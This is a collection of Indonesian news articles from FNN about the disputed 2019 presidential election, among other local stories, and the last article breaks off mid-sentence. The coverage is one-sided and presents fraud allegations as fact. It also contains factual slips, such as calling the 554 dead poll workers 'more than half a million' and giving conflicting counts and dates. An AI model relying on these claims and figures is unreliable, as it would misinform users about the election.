JAKARTA, FNN - Pengamat politik dari Perhimpunan Masyarakat Madani (Prima) Sya'roni menilai laporan perbuatan pidana terhadap sejumlah aktivis yang selama ini kerap menyuarakan dugaan terjadinya kecurangan Pilpres 2019 merupakan bentuk pembungkaman lawan politik melalui tangan hukum. "Laporan itu merupakan bentuk ketakutan para pendukung capres 01. Sangat politis sekali. Ingin membungkam lawan politik melalui tangan hukum," kata Sya'roni di Jakarta, Jumat (10/5/2019). Menurutnya, para tokoh yang dilaporkan tersebut sejatinya hanya ingin menyampaikan aspirasi atau lebih tepatnya ingin membongkar kecurangan Pemilu dengan harapan direspon oleh Badan Pengawas Pemilu (Bawaslu). Dia juga menyoroti Tim Hukum Nasional yang dibentuk oleh Menteri Koordinator Politik, Hukum, dan Keamanan (Menko Polhukam) Wiranto. Menurutnya, tim yang beranggotakan para ahli hukum ini tidak memiliki manfaat dan hanya menghabiskan uang negara. "Sebaiknya dibubarkan saja. Buang-buang duit rakyat. Tidak ada manfaatnya untuk rakyat. Sebaliknya, tim tersebut hanya akan menyumbat aspirasi," kata Sya'roni. Dia juga berharap para ahli hukum serta para akademik menolak namanya tercantum menjadi anggota di tim tersebut. Pasalnya, itu hanya akan merusak reputasi ketokohannya. "Para professor tersebut hanya dijadikan tameng. Pemerintah ingin cuci tangan. Sekarang kecaman rakyat sudah beralih kepada para tokoh yang tercantum dalam tim," tandasnya. Tim Asistensi Hukum Polhukam atau Tim Hukum Nasional terdiri dari 22 pakar. Jumlah itu terdiri dari pakar, staf Polhukam hingga anggota Polri. Sejumlah nama pakar hukum yang ikut terlibat menjadi anggota antara lain, Prof. Muladi, Prof. Romli Atmasasmita, Prof. Mahfud MD, Prof. Dr. Indriyanto Seno Adji, dan pakar hukum lainnya. Banyak kalangan mengkhawatirkan tim ini akan menjerat para tokoh-tokoh yang selama ini kritis terhadap pemerintah. Sebelumnya, sejumlah tokoh seperti Lieus Sungkharisma, Kivlan Zen, dan Ustad Haikal Hasan dipolisikan atas tuduhan perbuatan makar dan melanggar UU ITE. Advokat senior Eggy Sudjana juga ikut dilaporkan dan saat ini statusnya sudah menjadi tersangka kasus makar. Sementara Kabid Humas Polda Metro Jaya Kombes Argo Yuwono menjelaskan, penetapan terhadap tersangka Eggi Sudjana dalam kasus dugaan makar sudah memenuhi unsur pidana yang ditersangkakan. "(Penetapan) tersangka itu sesuai dengan aturan. Ada bukti permulaan, seperti keterangan saksi, empat keterangan ahli, petunjuk, dan barang bukti yang disampaikan seperti video dan pemberitaan-pemberitaan di media online," kata Argo kepada wartawan di Polda Metro Jaya, Jakarta, Kamis (9/5/2019) kemarin. (rob)

KSPI Buka Pos Pengaduan THR Untuk Para Buruh

JAKARTA, FNN - Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal menyerukan kepada para pengusaha untuk membayarkan THR kepada para buruh sesuai dengan Permenaker No. 06 Tahun 2016 tentang THR Keagamaan Bagi Pekerja/Buruh di Perusahaan yang besarnya minimal 1 bulan upah. Bagi pekerja yang memiliki masa kerja di bawah 1 tahun, THR nya dibayarkan proporsional sesuai jumlah bulan bekerja. Contoh orang yang baru bekerja 3 bulan, maka THR nya dibayar 3/12 kali upah yang diterima per bulan. KSPI membuka Posko Pengaduan THR di kantor-kantor Cabang KSPI/FSPMI di Jakarta, Bogor, Tangerang, Serang, Cilegon, Bekasi, Depok, Karawang, Purwakarta, Bandung, Cimahi, Cianjur, Semarang, Jepara, Kendal, Demak, Surabaya, Mojokerto, Sidoarjo, Pasuran, Medan, Deli Serdang, Labuhan Batu, Aceh, Batam, Bintan, Bengkulu, Makassar, Balikpapan, dan kota-kota industri lainnya. Dalam kaitan dengan itu, KSPI mendesak Menteri Ketenagakerjaan untuk menindak tegas terhadap pengusaha yang tidak membayar THR. “Bila perlu ditingkatkan menjadi tindakan pidana bagi pengusaha yang tidak membayar THR karena tidak memehuni hak buruh dalam bentuk nominal rupiah,” kata Iqbal dalam siaran persnya, Jumat (10/5/2019). Iqbal menghimbau buruh yang tidak menerima THR dapat melaporkan hal ini sebagai dugaan tindak pidana ke Desk Tenaga Kerja Polda Metro Jaya yang akan diproses sesuai mekanisme hukum yang berlaku. (rob)

KSPI Desak Pemerintah dan DPR Bentuk TGPF Selidiki Wafatnya 554 KPPS

JAKARTA, FNN - Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal meminta Pemerintah dan DPR RI untuk membentuk Tim Gabungan Pencari Fakta atas meninggalnya 554 orang yang bertugas saat pemungutan dan penghitungan suara dalam penyelenggarakan Pilpres dan Pileg 2019. Menurut Iqbal, hal ini merupakan tragedi kemanusiaan dan hak asasi manusia yang harus disuarakan dengan keras di Negara yang menganut sistem demokrasi. Sebagai tokoh buruh dunia yang duduk di badan PBB yaitu ILO yang juga sebagai Presiden KSPI, Said Iqbal berkepentingan dan ikut peduli untuk menyuarakan permasalahan ini. Karena itulah, ia mendesak agar Tim Gabungan Pencari Fakta (TGPF) kematian KPPS segera dibentuk. Said Iqbal menyampaikan 3 hal yang mendasari pentingnya dibentuk TGPF: Pertama, jumlah orang yang meninggal banyak sekali. Dimana KPU mengumumkan jumlahnya mencapai 554 orang. Kejadian ini adalah tragedi kemanusiaan, karena sebelumnya tidak pernah terjadi hal seperti ini. Di Negara-negara Eropa, misalnya di Brussel dan Paris, ketika ada yang meninggal puluhan orang saja masyarakat simpil dan buruh sudah meneriakkan #SaveBrussel dan #SaveParis. “Dengan jumlah kematian yang mencapai 554 orang, wajar jika gerakan buruh dan masyarakat sipil lainnya menyerukan #SaveIndoensia,” kata Iqbal dalam siaran persnya, Jumat (10/5/2019). Kedua, mereka yang meninggal meluas dan terjadi di berbagai wilayah di Republik Indonesia. Sehingga perlu dilakukan penyelidikan yang independen, ada apa yang sesungguhnya terjadi. Ketiga, jangan hanya sekedar menyederhanakan masalah dengan mengatakan mereka meninggal dunia karena faktor kelelahan. Oleh karena itu, perlu adanya visum et repertum dan autopsi dari lembaga yang berkompeten. Said Iqbal mendesak agar TGPF dibentuk dalam minggu ini, supaya hasil autopsi dan visum et repertum tidak terlalu lama didapat, sehingga akan lebih mudah menganalisa faktor kematian tersebut. Iqbal menyarankan anggota TGPF untuk Kematian KPPS terdiri dari unsur Ikatan Dokter Indonesia (IDI), unsur Komnas HAM, unsur Bawaslu, unsur Akademisi, unsur Masyarakat Sipil atau serikat buruh. “TGPF tidak melibatkan lembaga Negara, partai politik, dan tim pemenangan Capres. Sehingga akan bebas dari kepentingan dan memberikan dampak positif bagi kemaslahatan bangsa dan Negara,” tegasnya. Bilamana usulan ini tidak ditanggapi, KSPI akan menyerukan aksi besar-besaran di seluruh wilayah Indonesia oleh serikat buruh dalam untuk mendesak pemerintah dan DPR agar mengusut tuntas kematian lebih dari setengah juta orang petugas pemilu ini. “Ini bukan persoalan siapa Capres yang akan menang. Ini lebih pada tragedi kemanusiaan,” tegasnya. (rob)

Putus Kontrak Secara Sepihak, PT SJL Bakal Gugat Garuda Indonesia

JAKARTA, FNN - PT Sumber Jaya Limec Cargo (SJL) akan menggugat PT Garuda Indonesia (Persero) Tbk, cq Garuda Indonesia Cargo Center lantaran telah memutuskan kontrak kerjasama secara sepihak. Rencananya gugatan terhadap BUMN pernebangan itu akan didaftarkan ke Pengadilan Negeri (PN) Tangerang, Banten, pekan depan. Kuasa hukum PT SJL, Piter Siringoringo mengatakan, gugatan diajukan karena adanya keputusan pengelola kargo Garuda Indonesia yang melakukan pemutusan keagenan secara sepihak dengan SJL selaku mitra bisnisnya. Dia menilai penghentian kontrak itu janggal dan tidak lazim di mata hukum perjanjian. "Pemutusan kerjasama kontrak tidak lazim. Sesuai ketentuan perjanjian maka harusnya dibuat sama-sama tempat ada yang memberatkan pihak lain," "ujar Piter Siringoringo di Jakarta, Jumat (10/5/2019). Piter pun menilai, pemutusan pengelola kargo secara sepihak oleh Garuda telah cacat hukum. Karena jika mengacu hukum perjanjian maka harus ada hak dan kewajiban yang harus dipenuhi masing - masing pihak. Yakni ada kewajiban pemberi pekerjaan dan ada haknya si penerima pekerjaan. Adanya kesamaan dalam hak dan kewajiban maka ada perjanjian. Terkait berapa nilai kerugian dari gugatan perdata tersebut, Piter mengaku sedang menghitungnya. Namun yang jelas gugatan perdata diajukan karena memang ada kerugian berupa materi dan immateril yang secara fisik dan mental yang dialami PT SJL. Apalagi PT SJL juga menjalin relasi dengan berbagai pihak. Sehingga dengan adanya pemutusan sepihak tersebut merugikan PT SJL. "Nilai kerugian itu sedang kita hitung, nanti tunggu saja berapa nilai kerugiannya," jelasnya. Direktur Utama SJL Lim Bendy membenarkan adanya pemutusan secara sepihak dan tanpa alasan. Padahal, kontribusi SJL ke Kargo Garuda rata-rata 600 ribu ton atau senilai Rp69 miliar per tahun. Lim mengungkapkan, sebelum pemutusan sepihak, awalnya pihak direksi kargo Garuda menanyakan soal tarif kargo domestik yang dikelola SJL, dikatakan terlalu murah sehingga bisa mengisi kargo sebesar itu. Dia mencontohkan, misalnya SJL diberikan kuota kargo 100 ton per bulan, dengan tarif lebih murah dari tarif umum. Namun ketika kuota dipenuhi, direksi kargo Garuda, ungkap Lim, malah mencurigai SJL memberikan upeti kepada petugas-petugas Kargo Garuda sehingga SJL diberikan tarif lebih murah. Pemutusan keagenan sepihak oleh Kargo Garuda dilakukan melalui surat nomor GARUDA/JKTGCA/20049/19 pada 4 Februari 2019 yang ditandatangani oleh Pjs GM Cargo Sales Area Jakarta Raya Anandhito Prakoso. Dalam surat pemutusan keagenan itu disebutkan, merujuk pada syarat dan ketentuan keagenan kargo domestik dan internasional pasal 18 mengenai pencabutan status keagenan kargo. (rob)

Komunitas Dokter Minta Kematian 554 KPPS Diselidiki

JAKARTA, FNN - Puluhan dokter spesialis dari berbagai institusi kesehatan yang tergabung dalam Komunitas Kesehatan Peduli Bangsa meminta agar pihak terkait untuk mengautopsi jenazah petugas KPPS (Kelompok Penyelenggara Pemungutan Suara) yang meninggal dunia selama proses Pemilu Raya 2019. Data sementara secara keseluruhan petugas pemilu yang tewas mencapai 554 orang. Sementara petugas yang sakit 3.788 orang. "Kematian karena kelelahan itu pasti ada penyebab-penyebab lain. Itu harus diperiksa tim gabungan pencari fakta. Secara pribadi saya sudah melaporkan ini ke Bareskrim. Laporan ke Bareskrim untuk mengungkap penyebab kematian petugas KPPS," kata dr Zulkifli, satu di antara anggota Komunitas Kesehatan Peduli Bangsa di Jakarta, Kamis (9/5/2019). Zulkifli menegaskan, dengan adanya 544 petugas KPPS yang meninggal dunia secara tidak wajar maka sudah tepat pihak terkait untuk mengautopsi salah satu jenazah petugas KPPS. Pilih satu jenazah yang potensi ketidakwajaran saat meninggalnya tinggi. Autopsi dilakukan untuk mengetahui penyebab kematiannya sehingga tidak memunculkan praduga negatif di masyarakat. "Kalau secara kedokteran tidak ada istilah kematian akibat kelelahan. Oleh karena itu Menteri Kesehatan harus ngomong karena itu akan lebih bagus," jelasnya. Zulkifli memaparkan, pihaknya curiga atas kematian petugas KPPS, karena jumlahnya yang sangat besar yakni mencapai 544 orang. Kejadian ini tidak pernah terjadi di dunia manapun saat gelar pemilu ada petugasnya yang meninggal dunia mencapai ratusan. Pihaknya meminta pihak terkait untuk mengusut kematian petugas KPPS karena kasus tersebut bisa delik aduan. Sehingga tanpa ada laporan pun harusnya sudah bisa mengusutnya. "Ini bukan delik aduan karena mati satupun harus dikejar apa penyebabnya. Karena mereka sudah tahu. Makanya saya sebagai dokter merasa terpanggil untuk mengungkap kasus ini," tegasnya. Lebih lanjut Zulkifli mengatakan, pihaknya harus menggelar konpers juga agar aktivitasnya tidak digembosi. Karena saat ini ada upaya yang menolak adanya autopsi terhadap petugas KPPS yang meninggal dunia. Padahal sesuai standar operasional prosedur (SOP) ketika ada kematian yang mencurigakan maka harus dilakukan autopsi untuk memastikan penyebab kematiannya. "Dengan banyaknya dokter berkumpul menyuarakan untuk autopsi maka. mereka akan bereaksi," tegasnya Bencana Kesehatan Nasional Sementara itu dr Bakta mengatakan, dengan banyak petugas KPPS, Panwaslu, dan polisi yang meninggal dunia selama proses pemilu maka bisa dianggap kejadian ini sebagai bencana kesehatan nasional. “Sehubungan kejadian banyaknya korban jatuh, baik sakit maupun meninggal dunia yang menimpa petugas KPPS, pengawas pemilu, dan anggota Polri selama proses penghitungan suara dalam Pemilu 2019 ini, maka Komunitas Kesehatan Peduli Bangsa menyatakan ini sebagai ‘Bencana Kesehatan Nasional’,” tutur Bakta. Dengan banyaknya korban yang meninggal dunia di Pemilu 2019, sambung Bakta, selain meminta autopsi terhadap jenazah petugas KPPS, pihaknya juga menuntut pemerintah menyatakan hari berkabung nasional dengan memasang bendera Merah Putih setengah tiang sampai dengan 22 Mei 2019. Selain itu enuntut pemerintah membentuk Tim Gabungan Pencari Fakta yang independen. "Kami juga mendorong Komnas HAM untuk meneliti adanya dugaan pelanggaran HAM dan membawa kasus tersebut ke forum internasional (Mahkamah International dan Dewan HAM PBB) serta menuntut pemerintah untuk bertanggung jawab penuh kepada semua korban dengan memberikan santunan yang sesuai undang-undang," tegasnya. Sementara itu Elza Syarief, pengacara Komunitas Kesehatan Peduli Bangsa mengatakan, yang dilakukan para dokter sebagai bentuk kepedulian bersama antarelemen masyarakat. Oleh karena itu pihaknya melakukan sesuatu yang terbaik untuk bangsa dan rakyat Indonesia agar kejadian serupa tidak berulang lagi. Apalagi jumlah petugas KPPS yang meninggal dunia sangat banyak. "Penyelamatan nyawa-nyawa manusia yang bisa kita cegah semaksimal mungkin,” ujarnya. Elza mengungkapkan ada 42 orang dokter yang bergabung dalam pernyataan sikap ini. Menurutnya, para dokter ini merupakan orang-orang yang memiliki empati, khususnya kepada para keluarga korban. “Kita adalah sesama manusia yang memiliki empati, simpati kepada keluarga yang ditinggalkan, turut berduka cita. Jangan membiarkan hal ini,” jelasnya. Elza menyebut, nyawa dari petugas KPPS tak sebanding dengan uang dengan uang duka yang diterima keluarganya. "Bukan semudah itu nyawa manusia. Karena nyawa manusia itu yang tertinggi. Karena bisa berhari-hari, bisa berbulan-bulan ingat masa hidupnya," paparnya. Elza berharap agar pihak Komisi Pemilihan Umum (KPU) bisa mencari solusi dari kasus meninggalnya ratusan petugas KPPS. Oleh karena itu KPU jangan hanya mengejar target pada tanggal 22 Mei 2019 sukses menyampaikan hasil rekapitulasi suara Pemilu 2019. Artinya, lanjut Elza, sistem penghitungan yang terkesan memaksakan ini harus diperbaiki. "Bukan dihentikan. Ya dihentikan sementara untuk perbaiki manajemen ini. Habis itu lanjut lagi tidak apa-apa. Kan itu semuanya tercatat. Semuanya ada C1, ada catatan-catatan, ada di IT. Kan enggak mungkin hilang kan. Tapi kalau manusia, bisa hilangkan nyawanya," jelasnya. Elza berkeinginan untuk melakukan investigasi dengan bekerja sama dengan pihak-pihak terkait. "Pertama, kita ingin melakukan investigasi dengan tim pencari fakta. Apa sebabnya, kita melakukan otopsi, forensik, dengan kerja sama pihak kepolisian," ujarnya. (rob)

BPK Diminta Audit Aset Milik First Travel yang Disita Penyidik

JAKARTA, FNN – Badan Pemeriksa Keuangan (BPK) diminta melakukan audit terhadap aset yang dimiliki oleh First Travel yang sita oleh pihak kepolisian dan kejaksaan. Permintaan ini menyusul adanya dugaan menguapnya aset milik biro perjalanan haji dan umroh ini sebesar Rp663 miliar. “Kami meminta BPK untuk melakukan audit investigasi terhadap pihak kepolisian dan kejaksaan terkait hilangnya aset First Travel sebesar Rp663 miliar,” tegas pengacara korban First Travel Riesqi Rahmadiansyah kepada wartawan usai menjalani sidang lanjutan gugatan perdata terhadap bos First Travel Andhika Surachman di Pengadilan Negeri Depok, Selasa (7/5/2019). Merujuk pada perhitungan arus dana masuk dan keluar pada rekening bos First Travel ini hingga Juli 2017, seharusnya menyisakan Rp663 miliar. Namun, dalam salinan berkas putusan PN Depok, sisa saldo rekening Andhika cuma menyisakan Rp229,692 miliar. Hal inilah yang membuat Riesqi merasa heran dengan menyusutnya nilai saldo rekening milik bos First Travel tersebut. Padahal, sejumlah aset berupa rumah, mobil, restoran, serta sejumlah perhiasan milik Andhika sudah disita sejak kasus ini ditangani oleh penyidik. Bahkan ia menduga ada sejumlah aset termasuk rumah milik Andhika yang terletak di Sentul, Jawa Barat sudah berpindah tangan. “Harga rumah itu berkisar Rp5 miliar sampai Rp7 miliar,” tandasnya. Riesqy menuturkan, bahwa tergugat yaitu Andhika menyampaikan langsung dari keberangkatan jemaah hanya memerlukan dua aset yang dikembalikan, yaitu PT Intercultur dan uang Rp8,9 miliar. Akan tetapi, keberadaan PT Intercultur sudah ada di pihak ketiga. “Yang dikhawatirkan adalah dengan berpindah tangan maka bukan untuk kepentingan Jemaah. Sedangkan uang Rp8,9 Miliar tidak jelas keberadaannya karena tidak ada di putusan MA terkait kasus pidana bos First Travel,” pungkasnya. Sementara pengacara Andhika, Muhammad Agung Wicaksana mengaku belum mengetahui berapa jumlah aset yang disita secara resmi oleh negara. Ia mengaku hanya mengetahui aset punya kliennya berdasarkan hasil putusan pidana PN Depok. “Kami baru masuk tiga minggu, jadi baru mempelajari putusan (pidana-red) dan gugatannya. Di luar ini kamu belum tahu,” kata Agung. Meski ia mengaku tidak tahu pasti berapa jumlah aset Andhika yang disita oleh negara, tapi berdasarkan hitungannya aset yang disita itu bernilai Rp10 miliar. Akibat penyitaan itu, Agung mengaku, saat ini Andhika tak lagi memiliki apa-apa. Bahkan, untuk membayar jasa pengacaranya pun terpaksa harus dilakukan dengan cuma-cuma (probono). Namun, guna menyakinkan para korban, Agung menyatakan jamaah akan segera diberangkatkan, jika negara mau mengembalikan aset kliennya yang disita. “Semoga asset dikembalikan untuk kepentingan jamaah, disini kita berjuang bersama,” tandas Agung. (rob)

Pensiunan Jenderal Polri Ini Ingatkan Kapolri Soal Aksi People Power

JAKARTA, FNN – Dewan Pakar Ikatan Cendikiawan Muslim Indonesia (ICMI) Anton Tabah Digdoyo mengatakan, aksi people power merupakan hak yang dijamin oleh undang-undang. Aksi ini juga guna mengingatkan Komisi Pemilihan Umum (KPU) agar berlaku jujur dan adil dalam perhitungan suara Pilpres 2019. “People power hanyalah kumpulan masyarakat yang melakukan aksi unjuk rasa merupakan hak yang dijamin undang-undang asal tertib indah seperti aksi-aksi 411, 212 yang dikagumi dunia,” kata Anton ketima diminta tanggapannya, Rabu (8/5/2019). Karena itu Anton mengingatkan agar aparat Polri tidak menjerat para pelaku aksi dengan tuduhan makar terhadap pemerintah yang sah. Apalagi dengan ancaman pasal 107 Kitab Undang-Undang Hukum Pidana (KUHP) yang sudah cukup jelas unsurnya. “Saya ingatkan Kapolri yang pernah menerapkn pasal makar pada tokoh-tokoh aksi 212 tapi gagal karena aksi 212 tidak masuk unsur makar. Kesalahan ini hendaknya dipedomani oleh Polrim,” tegas Anton yang juga mantan petinggi Polri. Ia menambahkan, sudah seharusnya hak konstitusi rakyat diperlancar tidak boleh dihalang-halangi oleh siapa pun. Apalagi sampai dengan dalih menyebarkan berita bohong (hoax). Terkait peryataan Kepala Staf Angkatan Darat (KSAD) Jenderal TNI Andika Perkasa yang menegaskan TNI AD atau Babinsa tak mempunyai data perolehan suara (C1) Pemilu 2019 di setiap TPS, Anton mengatakan, jangankan Babinsa orang awam saja boleh dapat C1 entah itu berupa fotocopy atau foto. Dalam Undang-undang Pemilu sudah jelas C1 harus ditempel di papan pengumuman dari tingkat KPPS Kelurahan, Kecamatan, Kabupaten, hingga ke tingkat pusat. “C1 itu bukan rahasia bahkan wajib diketahui setiap warga negara,” tandasnya. Seperti diberitakan, Kapolri Jenderal Tito Karnavian mengatakan akan mengambil langkah hukum untuk orang-orang yang terlibat dalam people power. Tindakan tegas itu baru akan diambil jika pengerahan massa tidak sesuai aturan. Tito menuturkan, apabila aksi people power tetap dilaksanakan tanpa menjalankan aturan maka bisa dianggap makar. Polisi akan menjerat mereka dengan Pasal 107 Kitab Undang-Undang Hukum Pidana (KUHP). Sebab, aksi itu akan dianggap sengaja untuk menggulingkan pemerintah yang sah. (rob)

BPN IT Volunteer Group to Visit Bawaslu, Report 13,000 Data Entry Inaccuracies on KPU's Website

JAKARTA, FNN — IT Volunteer Group on the National Committee to Elect Prabowo-Sandi (BPN) will submit a report including thousands of data entry inaccuracies on KPU's real count data entry system. “If God willing, we will bring a box filled with 2,500 pages of evidence that show data entry inaccuracies on KPU's website," BPN IT Volunteer Secretary Dian Islamiati Fatwa stated Thursday. Fatwa stated that volunteers, during a five-day verification period from April 27 to May 1, found 13,031 mistakes from data amassed from 225,818 polling stations, which equals to 5.7 percent of the total data inputted. The volunteer group found three types of mistakes. First, the final tally of casted votes exceeded the maximum number of voters subjected in each polling station, which hovers around 300 names. Second, the final tally of casted votes differ from the sum of valid and invalid votes, and the number of total ballot papers used. Third, the total valid votes differ from the sum of votes casted for both candidates. “Thousands of mistakes that we found show that KPU's data entry system is unreliable and misleading," Fatwa stated. "The maximum rate of acceptable mistakes done by the IT system should be 0.1 percent. Ironically, we found a total of 5-7 percent inaccurate data,” Fatwa added. Responding to the findings of BPN's IT volunteer group, Coordinator of the National Movement to Save Democracy (GNSD) DR M. Said Sidu urged Bawaslu to take action and stop KPU's data entry system altogether. "To refrain from creating wide-scale public concern and distrust, Bawaslu needs to immediately halt KPU's data entry system and ask an independent auditor to conduct a forensic audit,” Didu stated.

Di Kebumen, Prabowo Cuma Kalah 3 Suara, Tidak Ada Scan C-1

Kebumen, FNN - Sebagai basis banteng, Kabupaten Kebumen menjadi salah satu penyumbang suara cukup besar di Jawa Tengah untuk pasangan Capres 01 Jokowi-Maruf. Namun tidak demikian bagi TPS 09 Desa Purwosari, Kecamatan Puring, Kabupaten Kebumen, Jawa Tengah. Dari pengamatan FNN pada web KPU, Kamis, 02 Mei 2019, pukul 15.30 WIB diperoleh fakta bahwa TPS 09 ini tidak melampirkan C-1. Di TPS ini perolehan suara kedua Capres beda tipis, Jokowi Maruf mendapat 71 suara sedangkan Prabowo-Sandi mendapat 68 suara. Hanya selisih 3 suara. Beberapa TPS di Desa Purwosari ini juga tidak ada lampiran C-1, padahal penghitungan sudah dinyatakan selesai 100 persen, antara lain TPS 01, TPS 02, TPS 08, dan TPS 09. Tidak hanya di Desa Purwosari, beberapa TPS desa lain juga tidak ada lampiran C-1 di antaranya TPS 01 Desa Pesuruhan, Kecamatan Puring, Kabupaten Kebumen. TPS 01 dan TPS 08 Desa Puliharjo, Kecamatan Puring, Kabupaten Kebumen. (wid)

Prabowo,"Saya Tidak Akan Menyerah"

Sentul (Rabu 01/05/2019) - Calon Presiden Republik Indonesia Nomor urut 02 Prabowo Subianto menegaskan dirinya tidak akan menyerah menghadapi kecurangan dalam penghitungan Pilpres 2019 oleh Komisi Pemilihan Umum (KPU). Hal ini disampaikan dalam acara Ijtima Ulama ke-3 di Hotel Lor In Sentul, Bogor, Jawa Barat. Prabowo menegaskan bahwa dirinya sama sekali tidak ada ambisi pribadi. Ia hanya menjadi alat rakyat untuk mewujudkan menegakkan hukum dan keadilan serta kesejahteraan di Indonesia. "Saya tidak ada ambisi pribadi untuk jabatan. Demi Allah, saya dan Sandi hanya alat untuk meraih kesejahteraan seluruh rakyat Indonesia," katanya. Prabowo akan selalu berada di barisan rakyat. "Selama rakyat menghendaki, saya akan terus berjuang. Saya tidak akan menyerah," tegasnya. (Wid) Adapun keputusan dan rekomendasi Ijtima Ulama III antara lain: 1. Menyimpulkan bahwa telah terjadi berbagai kecurangan dan kejahatan yang bersifat tersitruktur, sistematis dan masif dalam proses pemilu 2019. 2. Mendorong dan meminta kepada BPN PAS untuk mengajukan keberatan melalui mekanisme legal prosedural tentang terjadinya berbagai kecurangan dan kejahatan yang terstruktur, sistematis dan masif dalam proses pilpres 2019. 3. Mendesak Bawaslu dan KPU untuk memutuskan pembatalan/diskualifikasi paslon capres cawapres 01. 4. Mengajak umat dan seluruh anak bangsa untuk mengawal dan mendampingi perjuangan penegakan hukum dengan cara syar'i dan legal konstitusional dalam melawan kecurangan dan kejahatan serta ketidakadilan termasuk perjuangan/diskualifikasi paslon capres cawapres 01 yang melakukan kecurangan dan kejahatan dalam pilpres 2019. 5. Memutuskan bahwa perjuangan melawan kecurangan dan kejahatan serta ketidakadilan adalah bentuk amar makruf nahi munkar, konstitusional dan sah secara hukum demi menjaga keutuhan NKRI dan kedaulatan rakyat.

Palangkaraya Tidak Ideal dari Pertahanan Negara

Oleh Selamat Ginting (Jurnalis, Pemerhati Militer) Jakarta, FNN - Mengapa sebagai calon ibukota negara, Palangkaraya rawan dari sisi pertahanan keamanan negara? Rencana pemindahan Ibukota Negara keluar Pulau Jawa telah diwacanakan sejak zaman Presiden Sukarno, pada 1957. Empat dekake kemudian, Presiden Soeharto juga merencanakan pemindahan ibukota ke Jonggol, Jawa Barat, pada 1997. Pada Sidang Kabinet terbatas, 29 April 2019, Kepala Bapenas telah memaparkan ada tiga aternatif pemindahan ibukota negara kepada Presiden Joko Widodo. Pertama, tetap di wilayah DKI Jakarta. Namun dibuat distrik khusus. Kedua, pindah di wilayah yang dekat dengan Jakarta. Sekitar Jabodetabek. Ketiga, pindah keluar pulau Jawa. Secara prinsip pemerintah Jokowi setuju Ibukota Negara dipindahkan dari Jakarta. Palangkaraya di Kalimantan Tengah, kembali disebut-sebut ideal. Tetapi banyak yang tidak memahami kerawanan dari segi pertahanan keamanan negara (hankamneg). Palangkaraya adalah zona berbahaya dari segi hankamneg. Bahkan rawan terhadap kemungkinan adanya konsentrasi kekuatan pasukan militer darat lawan. Dalam hal ini, Angkatan Bersenjata Malaysia. Jarak Palangkaraya ke Serawak, Malaysia, sekitar 712 km. Atau 8 jam perjalanan darat. Mereka dapat menggelar pasukan darat secara leluasa. Termasuk menyusupkan pasukan intelijennya melalui perbatasan darat. Tentu saja dengan menyamar dengan beragam profesi. Mulai sopir bus, pedagang, turis dan segala macam. Akan mudah sekali pasukan artileri pertahanan udara (arhanud) Malaysia menembakkan meriamnya ke Palangkaraya. Kapal perang angkatan laut Diraja Malaysia juga dengan mudah menembakkan meriam ke Kalimantan Tengah. Dalam hitungan menit Palangkaraya luluh lantak. Tak ada waktu untuk menyelamatkan diri bagi kepala negara kekuar dari istana. Publik harus tahu, wilayah perbatasan darat merupakan garis lingkar pertahanan terdepan. Jadi, wilayah Kalimantan Tengah juga bukan merupakan daerah belakang. Sehingga, jauh dari ideal untuk dijadikan ibukota negara. Sebagai wartawan pemerhati militer, saya hanya mengingatkan dari perspektif pertahanan mendalam. Palangkaraya tidak ideal dari sisi hankamneg.

Bawa Bukti 13.000 Kesalahan Data Entri Situng KPU, Relawan IT BPN Datangi Bawaslu

Jakarta, FNN - Relawan IT BPN hari ini akan melaporkan temuan ribuan kesalahan entry data pada aplikasi Sistem Penghitungan Suara (Situng) KPU ke Bawaslu. “Insya Allah siang ini kami akan membawa bukti satu kardus berupa 2.500 lembar bukti kesalahan entry data Situng KPU,” kata Sekretaris Relawan IT BPN Dian Islamiati Fatwa di Jakarta. Selama lima hari (27 Maret- 1 Mei) memverifikasi data-data yang sudah masuk ke Situng, Dian mengaku tim Relawan IT menemukan sebanyak 13.031 kesalahan entry data. Data tersebut diperoleh dari 225.818 TPS. Total kesalahan sebanyak 5.7 persen. Ada tiga kesalahan yang mereka temukan. Pertama, jumlah suara yang tercantum melebihi jumlah maksimal pemilih pada setiap TPS. Kedua, jumlah suara yang tercatat tidak sama dengan suara sah ditambah dengan suara tidak sah dan kertas suara tidak terpakai. Ketiga, Jumlah sah tidak sama dengan total perolehan suara sah dari kedua pasangan. “Ribuan kesalahan yang kami temukan menunjukkan sistem Situng KPU tidak bisa diandalkan dan menyesatkan,” ujar Dian. Batas kewajaran dalam system IT maksimal 0,1 persen. Sementara kami menemukan kesalahan antara 5-7 persen,” ujar Dian. Mencermati temuan Relawan IT BPN, Koordinator Gerakan Nasional Selamatkan Demokrasi (GNSD) DR M. Said Didu meminta agar Bawaslu segera turun tangan dan menghentikan Situng KPU. “Agar tidak menimbulkan keresahan dan ketidakpercayaan publik yang meluas, Bawaslu harus segera menghentikan Situng KPU dan melakukan audit forensik oleh auditor independen,” tegas Said Didu. (end)

Demo Menentang Pemilu Curang Mahasiswa UNPAD Bandung

Bandung, FNN, Berita Foto - Mahasiswa Universitas Padjadjaran menggelar demonstrasi menolak Pemilu curang di Bandung, Selasa 30 April 2019.

Hari Keempat Audit Situng KPU: Tim Relawan IT BPN Temukan 12.550 Kesalahan

Jakarta, FNN (30 April 2019) - Tim Relawan IT BPN Prabowo-Sandi kembali menemukan ribuan kesalahan entry data dalam aplikasi Situng KPU. Angkanya jauh lebih besar dibandingkan dengan temuan sebelumnya sebanyak 9.440 kesalahan. “Kami sangat terkejut karena hari ini saja kami menemukan 12.550 kesalahan entry data. Jumlah itu kami peroleh dari audit terhadap 190.568 TPS. Jadi kesalahannya sekitar 7 persen, “ kata Koordinator Relawan IT BPN Mustofa Nahrawardaya. Kenaikan ini tambah Mustofa sangat signifikan, bahkan mengalami lonjakan yang sangat tinggi. Sebab dari audit yang dilakukan tanggal 27-29 April mereka menemukan setiap hari rata-rata terjadi 1.000 kesalahan. Sebelumnya dari 172.174 TPS yang mereka audit, Tim menemukan sebanyak 9.440 kesalahan entry data meliputi selisih suara, jumlah suara melebihi DPT, dan jumlah suara sah tidak cocok dengan total suara. Kesalahan tertinggi tetap didominasi Jawa Barat sebanyak 788 TPS, diikuti Sumatera Utara 740 TPS, Jawa Tengah 736 TPS, Jawa Timur 409 TPS, DKI Jakarta 361 TPS Sulawesi Selatan 252 TPS, dan Yogyakarta 154 TPS. Dengan jumlah kesalahan yang begitu besar Mustofa mempertanyakan kredibilitas dari Situng KPU. “ Kalau salah kok jumlahnya sangat besar. Apakah tidak ada sistem, maupun quality control sehingga hal itu bisa 